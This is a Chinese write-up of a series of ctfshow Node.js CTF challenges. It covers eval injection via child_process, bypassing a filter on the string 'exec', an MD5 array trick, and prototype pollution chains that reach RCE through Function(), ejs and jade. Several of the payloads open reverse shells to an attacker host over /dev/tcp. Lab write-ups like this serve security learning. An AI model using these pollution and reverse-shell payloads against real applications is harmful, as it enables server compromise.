Node.js 是一个基于 Chrome V8 引擎的 Javascript 运行环境。可以说nodejs是一个运行环境,或者说是一个 JS 语言解释器而不是某种库
Nodejs 是基于 Chrome 的 V8 引擎开发的一个 C++ 程序,目的是提供一个 JS 的运行环境。最早 Nodejs 主要是安装在服务器上,辅助大家用 JS 开发高性能服务器代码,但是后来 Nodejs 在前端也大放异彩,带来了 Web 前端开发的革命。Nodejs 下运行 JS 代码有两种方式,一种是在 Node.js 的交互环境下运行,另外一种是把代码写入文件中,然后用 node 命令执行文件代码。Nodejs 跟浏览器是不同的环境,写 JS 代码的时候要注意这些差异。
user.js发现username: ‘CTFSHOW’, password: ‘123456’
源码在login.js,发现登录成功会拿到flag,即重点看登录部分
var findUser = function(name, password){
return users.find(function(item){
return name!=='CTFSHOW' && item.username === name.toUpperCase() && item.password === password;
});
};
要求是name不等于CTFSHOW,第二行users.find就是取user.js部分,item.username=CTFSHOW,意思是name的大写为CTFSHOW也能通过判断,所以这里已经可以得到账号密码
username:ctfshow
password:123456
登录即可获得flag
源代码发现/?eval=
然后传一个?eval=ls,回显是找不到文件,所以这里可能是去include一个文件之类的
但是测试一下发现连index.php都不能找到,于是我又传了一个eval=1,在index.php回显了一个1
考虑到这里是nodejs,eval很有可能是执行的eval函数。在nodejs中,eval()方法用于计算字符串,并把它作为脚本代码来执行,语法为“eval(string)”;如果参数不是字符串,而是整数或者是Function类型,则直接返回该整数或Function。
查看nodejs文档的child_process:http://nodejs.cn/api/child_process.html
注意到:child_process.exec(command[, options][, callback])
于是构造一个payload
require("child_process").execSync('ls')
发现flag:fl00g.txt,cat即可
依旧是eval,但传之前的payload会显示 tql ,说明这里需要绕过
测试了一下,是过滤了exec字符串
这里想办法拼接exec来绕过
require("child_process")['exe'%2B'cSync']('ls')
看了下wp,这里是可以看到源码的
__filename 表示当前正在执行的脚本的文件名。它将输出文件所在位置的绝对路径,且和命令行参数所指定的文件名不一定相同。 如果在模块中,返回的值是模块文件的路径。 __dirname 表示当前执行脚本所在的目录。
于是传?eval=__filename可以看到路径为/app/routes/index.js
然后传eval=require(‘fs’).readFileSync(’/app/routes/index.js’,‘utf-8’)可以发现过滤了exec和load
源码
var express = require('express');
var router = express.Router();
var crypto = require('crypto');
function md5(s) {
return crypto.createHash('md5')
.update(s)
.digest('hex');
}
/* GET home page. */
router.get('/', function(req, res, next) {
res.type('html');
var flag='xxxxxxx';
var a = req.query.a;
var b = req.query.b;
if(a && b && a.length===b.length && a!==b && md5(a+flag)===md5(b+flag)){
res.end(flag);
}else{
res.render('index',{ msg: 'tql'});
}
});
module.exports = router;
要传入a和b,a和b要为真、a和b长度相等,a不等于b,a+flag和b+flag在md5后相等,则输出flag
这个好像在哪见过,但我实在是忘了,好像是在大赛原题板块有一道,绝对CTFSHOW大赛原题板块有一道这个,当时我还做了,肯定有!
首先想到的是传数组来绕过,但测试发现不行,于是通过控制台来调试看看
控制台测试了一下发现两个值并不相等
发现这样传的值相等,即传入a[:]=1&b[:]=2就能绕过
和第一题一样的登录界面,下载源码解压
先随便传一个123 123,回显登录失败{“username”:“123”,“password”:“123”}
看源码,在routes/login.js中看到登录部分
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var flag='flag_here';
var secert = {};
var sess = req.session;
let user = {};
utils.copy(user,req.body);
if(secert.ctfshow==='36dboy'){
res.end(flag);
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'+JSON.stringify(user)});
}
});
module.exports = router;
其中还require了一个utils/common
//common.js
module.exports = {
copy:copy
};
function copy(object1, object2){
for (let key in object2) {
if (key in object2 && key in object1) {
copy(object1[key], object2[key])
} else {
object1[key] = object2[key]
}
}
}
只要secert.ctfshow==='36dboy’就会打印出flag。考点是原型链污染,第一次接触,看看P神写的。
深入理解 JavaScript Prototype 污染攻击
顺便在看的时候发现common.js和P神里面举例的JS可以说是一模一样
于是尝试污染Object类,添加{“ctfshow”:“36dboy”}属性。在发包的时改一下
因为原型污染,secret
对象直接继承了Object.prototype,所以就导致了secert.ctfshow==='36dboy'
login.js里新增与修改了
//login.js
function User(){
this.username='';
this.password='';
}
function normalUser(){
this.user
}
......
if(secert.ctfshow===flag){
res.end(flag);
......
此外还新增了一个api.js
//api.js
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
res.render('api', { query: Function(query)(query)});
});
module.exports = router;
又是新知识点捏
漏洞点在res.render('api', { query: Function(query)(query)});
Function里的query变量没有被引用,通过原型污染给它赋任意值就可以进行rce。
{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"')"}}
在index界面POST之后直接POST访问api界面即可
玛德新买的那台服务器忘了开安全组我硬弹了20分钟,蚌埠住了
flag在login.js里
这样说明成功了
ejs模板漏洞导致rce(Code-Breaking 2018 Thejs题(可见P神博客,就之前的那个链接))
{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/[vps-ip]/[port] 0>&1\"');var __tmp2"}}
payload使用方法同上,先index发包再api发包
这次login里面多定义了
//login.js
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
}
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
res.end(flag);
这里需要污染两级,可以看yu师傅的博客https://blog.csdn.net/miuzzx/article/details/111780832#web339_48
里面有一个举例
{"__proto__":{"__proto__":{"query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
这次删除了api,此外login也改了
var express = require('express');
var router = express.Router();
var utils = require('../utils/common');
/* GET home page. */
router.post('/', require('body-parser').json(),function(req, res, next) {
res.type('html');
var user = new function(){
this.userinfo = new function(){
this.isVIP = false;
this.isAdmin = false;
this.isAuthor = false;
};
};
utils.copy(user.userinfo,req.body);
if(user.userinfo.isAdmin){
return res.json({ret_code: 0, ret_msg: '登录成功'});
}else{
return res.json({ret_code: 2, ret_msg: '登录失败'});
}
});
module.exports = router;
这里就用339的非预期,是这题的预期解。注意的是要嵌套,因为是340的改版。
{"__proto__":{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"');var __tmp2"}}}
然后随便访问界面即可,比如首页刷新一下,连上后直接输入env看环境变量即可找到flag
这里据说是jade rce(https://xz.aliyun.com/t/7025),因为我没去了解过,所以这里就照师傅们的打了
{"__proto__":{"__proto__":{"type":"Block","nodes":"","compileDebug":1,"self":1,"line":"global.process.mainModule.constructor._load('child_process').execSync('bash -c \"bash -i >& /dev/tcp/vps-ip/port 0>&1\"')"}}}
发包的时候请求头中的“Content-Type”改为"application/json"
找flag依旧是env
router.get('/', function(req, res, next) {
res.type('html');
var flag = 'flag_here';
if(req.url.match(/8c|2c|\,/ig)){
res.end('where is flag :)');
}
var query = JSON.parse(req.query.query);
if(query.name==='admin'&&query.password==='ctfshow'&&query.isVIP===true){
res.end(flag);
}else{
res.end('where is flag. :)');
}
});
过滤了逗号,甚至还过滤了%2c,然后%2c正好也是逗号
总之要传?query={"name":"admin"&query="password":"ctfshow"&query="isVIP":true}
这里直接把要传的参都给url编码就可以了
?query=%7b%22%6e%61%6d%65%22%3a%22%61%64%6d%69%6e%22&query=%22%70%61%73%73%77%6f%72%64%22%3a%22%63%74%66%73%68%6f%77%22&query=%22%69%73%56%49%50%22%3a%74%72%75%65%7d